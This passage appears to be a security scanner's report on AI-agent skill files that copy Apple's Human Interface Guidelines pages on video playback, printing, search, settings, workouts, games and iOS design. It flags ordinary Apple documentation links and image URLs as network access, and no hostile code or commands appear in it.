    ![An illustration of iPhone in landscape orientation. A blue rectangle shows the AVKit safe area within the screen. Overlaying the safe area is a purple rectangle representing the 21:9 video area plus two horizontal pink rectangles attached
  • Network accessline 53
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)21:9 video with embedded padding, in fit-to-screen viewing mode
  • Network accessline 55
    ![A legend for the illustrations, identifying blue as the AVKit safe area, purple as the video area, and pink as the embedded padding.](https://docs-assets.developer.apple.com/published/fc703118ebdf69f3c70d70ffce64727e/legend-letter-pillar%
  • Network accessline 57
    **Provide additional information when it adds value.** In iOS, iPadOS, tvOS, and visionOS, you can customize a video’s additional information by providing an image, title, description, and other useful information. In general, restrict this
  • Network accessline 63
    **Avoid allowing audio from different sources to mix as viewers switch between modes.** Mixed audio is an unpleasant and frustrating user experience. In general, audio mixes when at least one of the audio sources fails to handle secondary a
  • Network accessline 65
    ## [Integrating with the TV app](https://developer.apple.com/design/human-interface-guidelines/playing-video#Integrating-with-the-TV-app)
  • Network accessline 81
    ### [Loading content](https://developer.apple.com/design/human-interface-guidelines/playing-video#Loading-content)
  • Network accessline 89
    ### [Exiting playback](https://developer.apple.com/design/human-interface-guidelines/playing-video#Exiting-playback)
  • Network accessline 97
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/playing-video#Platform-considerations)
  • Network accessline 101
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/playing-video#tvOS)
  • Network accessline 107
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/playing-video#visionOS)
  • Network accessline 124
    **Create a thumbnail track if you want to support scrubbing.** The system displays thumbnails as people scrub to different times in the video, helping them choose the section they want. To improve performance, supply a set of thumbnails tha
  • Network accessline 126
    **Avoid expanding an inline video player to fill a window.** When you display the system-provided player view in a window, playback controls appear in the same plane as the player view and not in an ornament that floats above the window. In
  • Network accessline 128
    **Use a RealityKit video player if you need to play video in a view like a splash screen or a transitional view.** In situations like these, people generally expect the video to lead into the next experience, so they don’t need playback con
  • Network accessline 130
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/playing-video#watchOS)
  • Network accessline 132
    In watchOS, the system manages video playback. Apps can play short video clips while the app is active and running in the foreground. You can use a movie element to embed clips in your interface and play video inline, or you can play a clip
  • Network accessline 150
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/playing-video#Resources)
  • Network accessline 152
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/playing-video#Related)
  • Network accessline 154
    [Playing audio](https://developer.apple.com/design/human-interface-guidelines/playing-audio)
  • Network accessline 156
    [Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback)
  • Network accessline 158
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/playing-video#Developer-documentation)
  • Network accessline 160
    [Configuring your app for media playback](https://developer.apple.com/documentation/AVFoundation/configuring-your-app-for-media-playback) — AVFoundation
  • Network accessline 162
    [AVKit](https://developer.apple.com/documentation/AVKit)
  • Network accessline 164
    [HTTP Live Streaming](https://developer.apple.com/streaming/)
  • Network accessline 166
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/playing-video#Videos)
  • Network accessline 168
    [![](https://devimages-cdn.apple.com/wwdc-services/images/124/344FB830-5184-4C63-8D0C-D8861D31A70D/6645_wide_250x141_1x.jpg) Create a great video playback experience ](https://developer.apple.com/videos/play/wwdc2022/10147)
  • Network accessline 170
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/3F1BA6AB-BC74-4A1A-A440-90BA4AE5A23D/10042_wide_250x141_1x.jpg) Explore video experiences for visionOS ](https://developer.apple.com/videos/play/
  • Network accessline 172
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/53F0161E-DB14-4A7D-8A94-B76244201AB8/5102_wide_250x141_1x.jpg) Deliver a great playback experience on tvOS ](https://developer.apple.com/videos/play/wwdc2021/10191)
  • Network accessline 174
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/playing-video#Change-log)

skills/hig-patterns/references/printing.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Printing | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/printing
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/printing
  • Network accessline 9
    ![A sketch of a printer, suggesting printing. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the orange in the original six-color Apple logo.](https://docs-assets.developer.apple.com/pu
  • Network accessline 11
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/printing#Best-practices)
  • Network accessline 13
    **Make printing discoverable.** Help people find your print action by placing it in standard system locations. For example, include a Print item in your macOS app’s File menu; in your iOS or iPadOS app, add a toolbar button that opens an [a
  • Network accessline 19
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/printing#Platform-considerations)
  • Network accessline 23
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/printing#macOS)
  • Network accessline 37
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/printing#Resources)
  • Network accessline 39
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/printing#Related)
  • Network accessline 41
    [File management](https://developer.apple.com/design/human-interface-guidelines/file-management)
  • Network accessline 43
    [File menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#File-menu)
  • Network accessline 45
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/printing#Developer-documentation)
  • Network accessline 47
    [`UIPrintInteractionController`](https://developer.apple.com/documentation/UIKit/UIPrintInteractionController) — UIKit
  • Network accessline 49
    [`NSDocument`](https://developer.apple.com/documentation/AppKit/NSDocument) — AppKit

skills/hig-patterns/references/ratings-and-reviews.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Ratings and reviews | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/ratings-and-reviews
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/ratings-and-reviews
  • Network accessline 9
    ![A sketch of a half-filled star, suggesting a favorability rating. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the orange in the original six-color Apple logo.](https://docs-assets.
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/ratings-and-reviews#Best-practices)
  • Network accessline 19
    ![An illustration of the UI that appears when a person is prompted to rate an app or game in macOS.](https://docs-assets.developer.apple.com/published/b0aee2c246e2cfd035ba21ed1a2004c3/ratings-and-reviews-ios-alert%402x.png)
  • Network accessline 25
    **Prefer the system-provided prompt.** iOS, iPadOS, and macOS offer a consistent, nonintrusive way for apps and games to request ratings and reviews. When you identify places in your experience where it makes sense to ask for feedback, the 
  • Network accessline 27
    **Weigh the benefits of resetting your summary rating against the potential disadvantage of showing fewer ratings.** When you release a new version of your app or game, you can reset the summary of individual ratings you received since the 
  • Network accessline 29
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/ratings-and-reviews#Platform-considerations)
  • Network accessline 33
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/ratings-and-reviews#Resources)
  • Network accessline 35
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/ratings-and-reviews#Related)
  • Network accessline 37
    [Ratings, reviews, and responses](https://developer.apple.com/app-store/ratings-and-reviews/)
  • Network accessline 39
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/ratings-and-reviews#Developer-documentation)
  • Network accessline 41
    [`RequestReviewAction`](https://developer.apple.com/documentation/StoreKit/RequestReviewAction) — StoreKit
  • Network accessline 43
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/ratings-and-reviews#Change-log)

skills/hig-patterns/references/searching.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Searching | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/searching
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/searching
  • Network accessline 9
    ![A sketch of a magnifying glass, suggesting the search for information. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the orange in the original six-color Apple logo.](https://docs-as
  • Network accessline 11
    To search for content within an app, people generally expect to use a [search field](https://developer.apple.com/design/human-interface-guidelines/search-fields). When it makes sense, you can personalize the search experience by using what 
  • Network accessline 13
    In some cases, people appreciate the ability to scope a search or filter the results. For example, people might want to search for items by specifying attributes like creation date, file size, or file type. For guidance, see [Scope controls
  • Network accessline 15
    In iOS, iPadOS, and macOS, Spotlight helps people find content across all apps in the system and on the web. When you index and provide information about your app’s content, people can use Spotlight to find content your app contains without
  • Network accessline 17
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/searching#Best-practices)
  • Network accessline 19
    **If search is important, consider making it a primary action.** For example, in the Apple TV, Photos, and Phone apps in iOS, search occupies a distinct tab in the [tab bar](https://developer.apple.com/design/human-interface-guidelines/tab-
  • Network accessline 25
    **Clearly display the current scope of a search.** Use a descriptive placeholder text, a [scope control](https://developer.apple.com/design/human-interface-guidelines/search-fields#Scope-controls-and-tokens), or a title to help reinforce wh
  • Network accessline 27
    **Provide suggestions to make searching easier.** When you display a personʼs recent searches or offer search suggestions both before and while they’re typing, you can help people search faster and type less. For developer guidance, see [`s
  • Network accessline 31
    ## [Systemwide search](https://developer.apple.com/design/human-interface-guidelines/searching#Systemwide-search)
  • Network accessline 35
    **Define metadata for custom file types you handle.** Supply a Spotlight File Importer plug-in that describes the types of metadata your file format contains. For developer guidance, see [`CSImportExtension`](https://developer.apple.com/doc
  • Network accessline 39
    **Prefer using the system-provided open and save views.** The system-provided open and save views generally include a built-in search field that people can use to search and filter the entire system. For related guidance, see [File manageme
  • Network accessline 41
    **Implement a Quick Look generator if your app produces custom file types.** A Quick Look generator helps Spotlight and other apps show previews of your documents. For developer guidance, see [Quick Look](https://developer.apple.com/documen
  • Network accessline 43
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/searching#Platform-considerations)
  • Network accessline 47
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/searching#Resources)
  • Network accessline 49
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/searching#Related)
  • Network accessline 51
    [Search fields](https://developer.apple.com/design/human-interface-guidelines/search-fields)
  • Network accessline 53
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/searching#Developer-documentation)
  • Network accessline 55
    [Adding your app’s content to Spotlight indexes](https://developer.apple.com/documentation/CoreSpotlight/adding-your-app-s-content-to-spotlight-indexes) — Core Spotlight
  • Network accessline 57
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/searching#Videos)
  • Network accessline 59
    [![](https://devimages-cdn.apple.com/wwdc-services/images/C03E6E6D-A32A-41D0-9E50-C3C6059820AA/50ADDE23-F013-4993-8B1D-09368B4BD5F4/9259_wide_250x141_1x.jpg) Support semantic search with Core Spotlight ](https://developer.apple.com/videos/p
  • Network accessline 61
    [![](https://devimages-cdn.apple.com/wwdc-services/images/124/6E076CE0-7DDF-4471-B6F0-005ADF9C7960/6500_wide_250x141_1x.jpg) What’s new in iPad app design ](https://developer.apple.com/videos/play/wwdc2022/10009)
  • Network accessline 63
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/D45C244B-2038-4692-99A0-6131ED5FD984/5084_wide_250x141_1x.jpg) Craft search experiences in SwiftUI ](https://developer.apple.com/videos/play/wwdc2021/10176)
  • Network accessline 65
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/searching#Change-log)

skills/hig-patterns/references/settings.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Settings | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/settings
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/settings
  • Network accessline 9
    ![A sketch of a gear, suggesting configuration. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the orange in the original six-color Apple logo.](https://docs-assets.developer.apple.com/
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/settings#Best-practices)
  • Network accessline 17
    **Aim to provide default settings that give the best experience to the largest number of people.** For example, you can automatically maximize performance for the device your game is running on instead of asking players to make this choice 
  • Network accessline 27
    ## [General settings](https://developer.apple.com/design/human-interface-guidelines/settings#General-settings)
  • Network accessline 31
    ## [Task-specific options](https://developer.apple.com/design/human-interface-guidelines/settings#Task-specific-options)
  • Network accessline 39
    ## [System settings](https://developer.apple.com/design/human-interface-guidelines/settings#System-settings)
  • Network accessline 43
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/settings#Platform-considerations)
  • Network accessline 47
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/settings#macOS)
  • Network accessline 51
    **Include a settings item in the[App menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#App-menu).** Avoid adding settings buttons to a window’s toolbar, because doing so decreases the space available for essen
  • Network accessline 61
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/settings#watchOS)
  • Network accessline 65
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/settings#Resources)
  • Network accessline 67
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/settings#Related)
  • Network accessline 69
    [Onboarding](https://developer.apple.com/design/human-interface-guidelines/onboarding)
  • Network accessline 71
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/settings#Developer-documentation)
  • Network accessline 73
    [`Settings`](https://developer.apple.com/documentation/SwiftUI/Settings) — SwiftUI
  • Network accessline 75
    [`UserDefaults`](https://developer.apple.com/documentation/Foundation/UserDefaults) — Foundation
  • Network accessline 77
    [Preference Panes](https://developer.apple.com/documentation/PreferencePanes)
  • Network accessline 79
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/settings#Change-log)

skills/hig-patterns/references/undo-and-redo.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Undo and redo | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/undo-and-redo
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/undo-and-redo
  • Network accessline 9
    ![A sketch of an arrow that starts right, curves upward, and points to the left, suggesting a return to the start. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the orange in the origi
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/undo-and-redo#Best-practices)
  • Network accessline 25
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/undo-and-redo#Platform-considerations)
  • Network accessline 29
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/undo-and-redo#iOS-iPadOS)
  • Network accessline 35
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/undo-and-redo#macOS)
  • Network accessline 39
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/undo-and-redo#Resources)
  • Network accessline 41
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/undo-and-redo#Related)
  • Network accessline 43
    [Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback)
  • Network accessline 45
    [Pointing devices](https://developer.apple.com/design/human-interface-guidelines/pointing-devices)
  • Network accessline 47
    [Standard keyboard shortcuts](https://developer.apple.com/design/human-interface-guidelines/keyboards#Standard-keyboard-shortcuts)
  • Network accessline 49
    [Edit menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Edit-menu)
  • Network accessline 51
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/undo-and-redo#Developer-documentation)
  • Network accessline 53
    [`UndoManager`](https://developer.apple.com/documentation/Foundation/UndoManager) — Foundation
  • Network accessline 55
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/undo-and-redo#Videos)
  • Network accessline 57
    [![](https://devimages-cdn.apple.com/wwdc-services/images/7/2546ECBD-6443-41EC-921D-6429026F8B67/1700_wide_250x141_1x.jpg) Essential Design Principles ](https://developer.apple.com/videos/play/wwdc2017/802)

skills/hig-patterns/references/workouts.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Workouts | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/workouts
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/workouts
  • Network accessline 9
    ![A sketch of a person running, suggesting exercise. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the orange in the original six-color Apple logo.](https://docs-assets.developer.apple
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/workouts#Best-practices)
  • Network accessline 21
    ![A screenshot of the leftmost Workout screen for an Outdoor Walk workout. Clockwise from the top-left corner are the End, Resume, New, and Segment buttons.](https://docs-assets.developer.apple.com/published/f893039e593af4d8e40eb6d374dfc6a3
  • Network accessline 25
    ![A screenshot of the middle Workout screen for an Outdoor Walk workout. Five lines of data are visible. From the top, the screen shows the elapsed time, the active calories, the current heart rate, the average pace, and the elevation.](htt
  • Network accessline 29
    ![A screenshot of the rightmost Workout screen, which shows information about the music currently playing.](https://docs-assets.developer.apple.com/published/acc22020a6613bd6558ce8ea836aa156/workouts-media-playback%402x.png)
  • Network accessline 39
    | Example text from the Workout app   ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| GPS is not used during a Pool Swim
  • Network accessline 40
    ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| GPS is not used during a Pool Swim, and water may prevent a heart-rate m
  • Network accessline 41
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| GPS is not used during a Pool Swim, and water may prevent a heart-rate measurement
  • Network accessline 42
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| In this type of workout, you earn the calorie equivalent of a brisk walk anytime s
  • Network accessline 43
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| GPS will only provide distance when you do a freestyle stroke. Water might prevent
  • Network accessline 53
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/workouts#Platform-considerations)
  • Network accessline 57
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/workouts#Resources)
  • Network accessline 59
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/workouts#Related)
  • Network accessline 61
    [Activity rings](https://developer.apple.com/design/human-interface-guidelines/activity-rings)
  • Network accessline 63
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/workouts#Developer-documentation)
  • Network accessline 65
    [WorkoutKit](https://developer.apple.com/documentation/WorkoutKit)
  • Network accessline 67
    [Workouts and activity rings](https://developer.apple.com/documentation/HealthKit/workouts-and-activity-rings) — HealthKit
  • Network accessline 69
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/workouts#Videos)
  • Network accessline 71
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/12499BF9-8217-4A56-81CA-5E7CB66904DD/9856_wide_250x141_1x.jpg) Track workouts with HealthKit on iOS and iPadOS ](https://developer.apple.com/vide
  • Network accessline 73
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/50551741-78CD-4E8A-9550-7D0EC29D7882/8035_wide_250x141_1x.jpg) Build custom workouts with WorkoutKit ](https://developer.apple.com/videos/play/ww
  • Network accessline 75
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/30D3C2CB-B24D-467A-9B20-A369641E966F/4850_wide_250x141_1x.jpg) Build a workout app for Apple Watch ](https://developer.apple.com/videos/play/wwdc2021/10009)

skills/hig-platforms/SKILL.md

  • Network accessline 86
    *Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*

skills/hig-platforms/references/designing-for-games.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Designing for games | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/designing-for-games
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/designing-for-games
  • Network accessline 9
    ![A stylized representation of a game controller shown on top of a grid. The image is overlaid with rectangular and circular grid lines and is tinted green to subtly reflect the green in the original six-color Apple logo.](https://docs-asse
  • Network accessline 11
    As you create or adapt a game for Apple platforms, learn how to integrate the fundamental platform characteristics and patterns that help your game feel at home on all Apple devices. To learn what makes each platform unique, see [Designing 
  • Network accessline 13
    ## [Jump into gameplay](https://developer.apple.com/design/human-interface-guidelines/designing-for-games#Jump-into-gameplay)
  • Network accessline 15
    **Let people play as soon as installation completes.** You don’t want a player’s first experience with your game to be waiting for a lengthy download. Include as much playable content as you can in your game’s initial installation while kee
  • Network accessline 17
    **Provide great default settings.** People appreciate being able to start playing without first having to change a lot of settings. Use information about a player’s device to choose the best defaults for your game, such as the device resolu
  • Network accessline 19
    **Teach through play.** Players often learn better when they discover new information and mechanics in the context of your game’s world, so it can work well to integrate configuration and onboarding flows into a playable tutorial that engag
  • Network accessline 21
    **Defer requests until the right time.** You don’t want to bombard people with too many requests before they start playing, but if your game uses certain sensors on an Apple device or personalizes gameplay by accessing data like hand-tracki
  • Network accessline 23
    [![A sketch of a square containing an arrow pointing to the upper-right corner, suggesting a transition to a new state. The image is tinted orange to subtly reflect the orange in the original six-color Apple logo.](https://docs-assets.devel
  • Network accessline 25
    [![A sketch of a waving hand, suggesting a gesture of welcoming. The image is tinted orange to subtly reflect the orange in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/d95e8d3a568083918565701d3fe536
  • Network accessline 27
    [![A sketch of a spinning indeterminate activity indicator, suggesting data loading. The image is tinted orange to subtly reflect the orange in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/d3c4485e4c
  • Network accessline 29
    ## [Look stunning on every display](https://developer.apple.com/design/human-interface-guidelines/designing-for-games#Look-stunning-on-every-display)
  • Network accessline 31
    **Make sure text is always legible.** When game text is hard to read, people can struggle to follow the narrative, understand important instructions and information, and stay engaged in the experience. To keep text comfortably legible on ea
  • Network accessline 41
    **Make sure buttons are always easy to use.** Buttons that are too small or too close together can frustrate players and make gameplay less fun. Each platform defines a recommended minimum button size based on its default interaction method
  • Network accessline 51
    **Prefer resolution-independent textures and graphics.** If creating resolution-independent assets isn’t possible, match the resolution of your game to the resolution of the device. In visionOS, prefer vector-based art that can continue to 
  • Network accessline 53
    **Integrate device features into your layout.** For example, a device may have rounded corners or a camera housing that can affect parts of your interface. To help your game look at home on each device, accommodate such features during layo
  • Network accessline 55
    **Make sure in-game menus adapt to different aspect ratios.** Games need to look good and behave well at various aspect ratios, such as 16:10, 19.5:9, and 4:3. In particular, in-game menus need to remain legible and easy to use on every dev
  • Network accessline 57
    **Design for the full-screen experience.** People often enjoy playing a game in a distraction-free, full-screen context. In macOS, iOS, and iPadOS, full-screen mode lets people hide other apps and parts of the system UI; in visionOS, a game
  • Network accessline 59
    [![A sketch of a small rectangle in the upper-left quadrant of a larger rectangle, suggesting the position of a user interface element within a window. The image is overlaid with rectangular and circular grid lines and is tinted yellow to s
  • Network accessline 61
    [![A sketch of a small letter A to the left of a large letter A, suggesting the use of typography to convey hierarchical information. The image is tinted yellow to subtly reflect the yellow in the original six-color Apple logo.](https://doc
  • Network accessline 63
    [![A sketch of two outward-pointing arrows arranged in a vertical line extending from the upper-left to the bottom-right, suggesting expansion. The image is tinted orange to subtly reflect the orange in the original six-color Apple logo.](h
  • Network accessline 65
    ## [Enable intuitive interactions](https://developer.apple.com/design/human-interface-guidelines/designing-for-games#Enable-intuitive-interactions)
  • Network accessline 78
    **Support physical game controllers, while also giving people alternatives.** Every platform except watchOS supports physical game controllers. Although the presence of a game controller makes it straightforward to port controls from an exi
  • Network accessline 80
    **Offer touch-based game controls that embrace the touchscreen experience on iPhone and iPad.** In iOS and iPadOS, your game can allow players to interact directly with game elements, and to control the game using virtual controls that appe
  • Network accessline 82
    [![A sketch of a D-pad control from a game controller, suggesting gameplay. The image is tinted purple to subtly reflect the purple in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/36867292ccfd45e0f93
  • Network accessline 84
    [![A sketch of a pointing hand swiping in a curved motion toward the right, suggesting touch interaction with a device. The image is tinted purple to subtly reflect the purple in the original six-color Apple logo.](https://docs-assets.devel
  • Network accessline 86
    [![A sketch of an arrow-shaped pointer, suggesting use of a mouse or trackpad. The image is tinted purple to subtly reflect the purple in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/69b91fbe2b281f7b
  • Network accessline 88
    ## [Welcome everyone](https://developer.apple.com/design/human-interface-guidelines/designing-for-games#Welcome-everyone)
  • Network accessline 105
    **Help players personalize their experience.** Players have a variety of preferences and abilities that influence their interactions with your game. Because there’s no universal configuration that suits everyone, give players the ability to
  • Network accessline 111
    [![A sketch of the Accessibility icon. The image is tinted yellow to subtly reflect the yellow in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/8b7b11d06dd958f4e9449f0a5acdadbd/foundations-accessibili
  • Network accessline 113
    [![A sketch of two people, suggesting inclusion. The image is tinted yellow to subtly reflect the yellow in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/bbb606721d228138791654cb9f6f426c/foundations-i
  • Network accessline 115
    ## [Adopt Apple technologies](https://developer.apple.com/design/human-interface-guidelines/designing-for-games#Adopt-Apple-technologies)
  • Network accessline 117
    **Integrate Game Center to help players discover your game across their devices and connect with their friends.** [Game Center](https://developer.apple.com/game-center/) is Apple’s social gaming network, available on all platforms. Game Cen
  • Network accessline 119
    **Let players pick up their game on any of their devices.** People often have a single iCloud account that they use across multiple Apple devices. When you support [GameSave](https://developer.apple.com/documentation/GameSave), you can help
  • Network accessline 121
    **Support haptics to help players feel the action.** When you adopt Core Haptics, you can compose and play custom haptic patterns, optionally combined with custom audio content. Core Haptics is available in iOS, iPadOS, tvOS, and visionOS, 
  • Network accessline 123
    **Use Spatial Audio to immerse players in your game’s soundscape.** Providing multichannel audio can help your game’s audio adapt automatically to the current device, enabling an immersive Spatial Audio experience where supported. For guida
  • Network accessline 125
    **Take advantage of Apple technologies to enable unique gameplay mechanics.** For example, you can integrate technologies like augmented reality, machine learning, and [HealthKit](https://developer.apple.com/documentation/HealthKit), and re
  • Network accessline 127
    [![A sketch of the Game Center icon. The image is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/304edbb771279f5c096419df2cd735fe/technologies-game-center-thum
  • Network accessline 129
    [![A sketch of the iCloud icon. The image is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/2b14682c9fa6e5d71042fa722c12bb3f/technologies-icloud-thumbnail%402x
  • Network accessline 131
    [![A sketch of an add button, suggesting the purchase of additional digital assets within an app. The image is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/d
  • Network accessline 133
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/designing-for-games#Resources)
  • Network accessline 135
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/designing-for-games#Related)
  • Network accessline 137
    [Game Center](https://developer.apple.com/design/human-interface-guidelines/game-center)
  • Network accessline 139
    [Game controls](https://developer.apple.com/design/human-interface-guidelines/game-controls)
  • Network accessline 141
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/designing-for-games#Developer-documentation)
  • Network accessline 143
    [Games Pathway](https://developer.apple.com/games/get-started/)
  • Network accessline 145
    [Create games for Apple platforms](https://developer.apple.com/games/)
  • Network accessline 147
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/designing-for-games#Videos)
  • Network accessline 149
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/6C097D36-BE91-4B04-854A-E6264DA86F15/9890_wide_250x141_1x.jpg) Level up your games ](https://developer.apple.com/videos/play/wwdc2025/209)
  • Network accessline 151
    [![](https://devimages-cdn.apple.com/wwdc-services/images/C03E6E6D-A32A-41D0-9E50-C3C6059820AA/2DB746B8-E0B0-4ED1-B250-902DB7A0F3E7/9196_wide_250x141_1x.jpg) Design advanced games for Apple platforms ](https://developer.apple.com/videos/pla
  • Network accessline 153
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/designing-for-games#Change-log)

skills/hig-platforms/references/designing-for-ios.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Designing for iOS | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/designing-for-ios
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/designing-for-ios
  • Network accessline 9
    ![A stylized representation of an iPhone frame shown on top of a grid. The image is overlaid with rectangular and circular grid lines and is tinted green to subtly reflect the green in the original six-color Apple logo.](https://docs-assets
  • Network accessline 17
    **Inputs.** Multi-Touch [gestures](https://developer.apple.com/design/human-interface-guidelines/gestures), [virtual keyboards](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards), and [voice](https://developer.
  • Network accessline 23
    * [Widgets](https://developer.apple.com/design/human-interface-guidelines/widgets)
  • Network accessline 25
    * [Home Screen quick actions](https://developer.apple.com/design/human-interface-guidelines/home-screen-quick-actions)
  • Network accessline 27
    * [Spotlight](https://developer.apple.com/design/human-interface-guidelines/searching)
  • Network accessline 29
    * [Shortcuts](https://developer.apple.com/design/human-interface-guidelines/siri#Shortcuts-and-suggestions)
  • Network accessline 31
